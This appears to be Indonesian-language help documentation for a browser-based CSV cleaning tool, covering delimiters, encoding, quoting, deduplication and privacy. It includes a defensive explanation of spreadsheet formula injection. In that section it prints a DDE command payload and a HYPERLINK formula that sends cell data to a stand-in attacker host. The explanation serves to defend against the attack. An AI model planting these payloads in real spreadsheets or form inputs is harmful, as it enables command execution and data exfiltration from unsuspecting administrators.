Pembatas, header, duplikat, dan pengkodean yang rapi dalam ekspor spreadsheet.
File CSV sebenarnya bukan sebuah format, melainkan kumpulan konvensi. Spesifikasi yang ditunjukkan oleh sebagian besar alat, RFC 4180, ditulis dalam 2005 untuk mendeskripsikan apa yang sudah dilakukan perangkat lunak, bukan untuk memberi tahu apa yang harus dilakukan. Hasilnya adalah dua program dapat mengklaim dukungan CSV namun masih berbeda pendapat mengenai pembatas, akhir baris, gaya kutipan, dan pengkodean karakter.
Kejutan yang paling umum adalah pembatas. Perangkat lunak yang dijual di negara-negara yang menggunakan koma sebagai pemisah desimal — sebagian besar benua Eropa — sering kali mengekspor file yang dipisahkan titik koma, karena koma sudah sibuk. File-file itu masih diakhiri dengan .csv. Buka satu di alat yang menggunakan koma dan setiap baris diciutkan menjadi satu kolom.
Kejutan kedua yang paling umum adalah pengkodean. File yang disimpan sebagai UTF-8 sering kali dimulai dengan penanda tiga byte yang tidak terlihat yang disebut tanda urutan byte. Excel di Windows menggunakannya untuk mengenali UTF-8. Banyak alat Unix yang tidak mengharapkannya, sehingga tanda tersebut menempel pada nama header pertama dan kolom bernama "id" secara diam-diam menjadi kolom bernama "id" yang tidak akan pernah ditandingi oleh pencarian mana pun.
Pilih file Anda. Penguraian terjadi di thread pekerja latar belakang, sehingga ekspor dalam jumlah besar pun tidak akan membekukan halaman saat sedang dibaca.
Biarkan pembatas pada "Deteksi otomatis" untuk pertama kalinya. Deteksi bekerja dengan mengurai sampel dengan masing-masing pembatas kandidat dan memilih salah satu yang menghasilkan hasil persegi panjang paling konsisten — itulah sebabnya ia tidak tertipu oleh koma yang berada di dalam kolom tanda kutip pada file yang dipisahkan titik koma. Jika pratinjau masih terlihat salah, ganti secara manual.
Periksa jumlah baris dan kolom di bawah pemilih file sebelum melakukan hal lain. Jika jumlah kolom adalah 1, pembatasnya salah. Jika jumlah baris jauh lebih besar dari yang Anda harapkan, file tersebut mungkin berisi baris baru yang dikutip yang telah dirusak oleh alat lain.
Peringatan menyebutkan nomor baris tertentu, menghitung seperti yang Anda lakukan dalam editor teks, sehingga Anda dapat langsung melihat masalahnya.
Peringatan "baris acak-acakan" berarti suatu baris memiliki jumlah sel yang berbeda dengan header. Alat ini tidak pernah membuang sel-sel itu. Baris pendek diisi dengan bagian yang kosong dan baris panjang menyimpan nilai ekstranya, karena menghapus data seseorang secara diam-diam untuk membuat kisi terlihat rapi adalah hal terburuk yang dapat dilakukan alat pembersih. Perbaiki baris sumber jika koma tambahan merupakan kesalahan.
Peringatan "kutipan tidak tertutup" berarti tanda kutip ganda dibuka dan tidak pernah ditutup, sehingga segala sesuatu setelahnya dibaca sebagai satu bidang yang sangat besar. Ini hampir selalu merupakan kerusakan asli pada file sumber, dan perlu diperbaiki di bagian hulu, bukan di bagian hilir.
Tombol pembersihan berlaku untuk seluruh tabel dan masing-masing dapat dibatalkan. Menghapus baris duplikat akan mempertahankan kemunculan pertama, sehingga baris asli tetap ada dan urutan data yang masih ada tidak berubah.
Kontrol kolom memungkinkan Anda mengganti nama header, memilih kolom mana yang akan diekspor, dan mengurutkan berdasarkan kolom mana pun. Pengurutan mendeteksi apakah suatu kolom berupa numerik: kolom numerik mengurutkan 9 sebelum 10, sedangkan kolom teks mengurutkan "10" sebelum "9", yang biasanya merupakan hal yang Anda inginkan dalam setiap kasus.
Sebelum mengunduh, lihat opsi ekspor. Opsi formula-injeksi-aman diaktifkan secara default dan dijelaskan dalam panduannya sendiri di bawah ini — ini adalah pengaturan di sini dengan konsekuensi keamanan yang sebenarnya.
File CSV tidak berisi kode, namun aplikasi spreadsheet akan dengan senang hati memperlakukan beberapa teksnya sebagai kode saat file dibuka.
Excel, Google Sheets, dan LibreOffice Calc semuanya menafsirkan sel yang karakter pertamanya =, +, - atau @ sebagai awal rumus. Perilaku itu disengaja dan berguna saat Anda mengetiknya sendiri. Ini menjadi kerentanan ketika konten sel datang dari suatu tempat di luar kendali Anda.
Bayangkan formulir web yang mengumpulkan nama, dan administrator yang secara berkala mengekspor kiriman ke CSV dan membukanya di Excel. Seorang penyerang mengirimkan nama yang bukan nama melainkan formula.
Payload klasik terlihat seperti =cmd|' /C kalk'!A0. Saat ekspor dibuka, Excel menguraikannya sebagai instruksi pertukaran data dinamis, bukan sebagai teks. Konfigurasi yang lebih lama dan belum dipatch akan mencoba meluncurkan program eksternal. Versi modern menampilkan perintah peringatan terlebih dahulu — tetapi perintah tersebut adalah satu-satunya penghalang antara payload dan eksekusi, dan pengguna mengklik perintah tersebut.
Eksfiltrasi data adalah varian yang lebih tenang dan tidak memerlukan DDE sama sekali. =HYPERLINK("https://attacker.example/?d="&A1,"Click untuk detailnya") membuat tautan yang berisi konten sel tetangga. Administrator yang penasaran mengkliknya, dan sederet spreadsheet meninggalkan gedung dalam URL. IMPORTXML di Google Spreadsheet dapat mengambil URL jarak jauh tanpa perlu klik sama sekali.
Poin pentingnya adalah penyerang tidak memerlukan akses ke spreadsheet, alat ekspor, atau mesin administrator. Mereka hanya memerlukan satu kolom teks yang pada akhirnya mencapai ekspor CSV. Inilah sebabnya mengapa kerentanan biasanya tercatat pada aplikasi yang menghasilkan file tersebut, bukan pada spreadsheet yang membukanya.
Ketika "Formula-injeksi-aman" diaktifkan — dan diaktifkan secara default — setiap sel yang karakter pertamanya adalah =, +, -, @, tab, atau gerbong kembali diawali dengan satu apostrof sebelum ditulis.
Apostrof adalah penanda spreadsheet konvensional yang berarti "perlakukan sisa sel ini sebagai teks literal". Excel tidak menampilkannya di dalam sel; Anda hanya melihatnya di bilah rumus. Payload masih terlihat dan masih dapat dipulihkan sepenuhnya, namun bersifat inert.
Tab dan carriage return disertakan dalam daftar itu karena merupakan spasi yang dipangkas oleh beberapa filter naif sebelum memeriksa karakter pertama, yang memungkinkan payload lolos dari pemeriksaan yang hanya melihat indeks nol dari string yang dipangkas. Memeriksa karakter mentah pertama akan menutup celah itu.
Mitigasi ini mengubah data Anda, dan tidak ada versi yang tidak mengubah data Anda. Jika sel benar-benar berisi =SUM(A1:A2) karena Anda menginginkan rumus yang berfungsi dalam output, ekspor aman mengubahnya menjadi teks literal =SUM(A1:A2) dan tidak akan dihitung. Spreadsheet tidak dapat membedakan formula yang Anda maksudkan dengan formula penyerang, begitu pula kami.
Itulah sebabnya mengapa ini merupakan perilaku yang terlihat dan bukan perilaku yang diam. Jika Anda mengekspor file yang seharusnya berisi rumus aktif, dan Anda memercayai setiap nilai di dalamnya, matikan opsi ini dengan sengaja dan sadar. Jika data berisi sesuatu yang berasal dari pengguna, formulir, pelanggan, survei, atau sistem eksternal, biarkan saja.
Ada satu kehalusan yang perlu diketahui. Implementasi yang naif menandai setiap sel yang dimulai dengan tanda minus, yang mengubah setiap angka negatif dalam file: -42 menjadi '-42 dan berhenti menjadi angka, secara diam-diam merusak seluruh kolom data keuangan. Alat ini mengecualikan nilai yang diurai sebagai angka biasa, jadi -42, -3.14 dan -1e5 lolos tanpa disentuh sementara -1+1+cmd|' /C calc'!A0 tidak, karena ini bukan angka.
Melarikan diri saat menulis, bukan saat membaca. File yang Anda hasilkan harus aman untuk dibuka di mana saja, karena Anda tidak dapat mengontrol aplikasi mana yang membukanya atau berapa umur aplikasi tersebut.
Jangan mengandalkan dialog peringatan spreadsheet sebagai kendali Anda. Ini adalah garis pertahanan terakhir yang ditujukan kepada pengguna yang sedang mencoba menyelesaikan pekerjaannya, dan secara rutin ditutup.
Jangan mencoba menyelesaikan masalah ini dengan menghilangkan karakter berbahaya. Menghapus awalan = merusak data yang sah dan masih melewatkan payload yang dimulai dengan spasi. Mengawali dengan apostrof mempertahankan nilai aslinya dengan tepat sambil menghilangkan executabilitasnya, itulah sebabnya pendekatan ini merupakan pendekatan yang disarankan.
Bidang harus diapit dengan tanda kutip ganda jika berisi pembatas, tanda kutip ganda, atau jeda baris. Di dalam kolom yang dikutip, kutipan ganda literal ditulis dua kali: "dia berkata" "hai""" adalah satu kolom yang berisi dia berkata "hai".
Alat ini mengutip minimal pada ekspor: bidang dibungkus hanya jika diperlukan. Itu berarti file yang setiap kolomnya diberi tanda kutip pada input mungkin akan keluar dengan tanda kutip yang lebih sedikit. Datanya identik — "Ada" dan Ada memiliki nilai yang sama — tetapi byte-nya berbeda. Jika Anda ingin setiap kolom diberi tanda kutip, gunakan opsi "Kutip setiap kolom".
Bidang dengan spasi awal atau akhir yang bermakna selalu dikutip, karena beberapa parser menghapus padding yang tidak diberi tanda kutip dan sebaliknya akan mengubah nilai Anda.
RFC 4180 menentukan CRLF di antara catatan, dan itulah yang ditulis oleh alat ini secara default, karena ini adalah pilihan yang paling kompatibel secara luas di seluruh alat Windows dan Unix.
Pada masukan, ketiga konvensi diterima: CRLF, LF dan CR tunggal. Baris baru di dalam bidang yang dikutip dipertahankan sebagai bagian dari nilai dan tidak memulai baris baru.
File Anda dibaca oleh browser, diuraikan dalam Web Worker di perangkat Anda, diubah dalam memori, dan ditulis kembali oleh mekanisme pengunduhan browser itu sendiri. Itu tidak pernah ditularkan.
Tidak ada yang disimpan. Tidak ada penyimpanan otomatis, tidak ada database lokal, dan tidak ada riwayat yang bertahan saat halaman dimuat ulang. Menutup tab akan membuang semuanya; "Hapus data" melakukan hal yang sama dengan segera.
Analisis dan periklanan dinonaktifkan pada produk ini, di setiap lingkungan. Tidak ada data penggunaan tentang file Anda — baik nama, ukuran, konten, atau nama kolomnya — yang dikumpulkan, karena tidak ada satupun yang dikirim ke mana pun.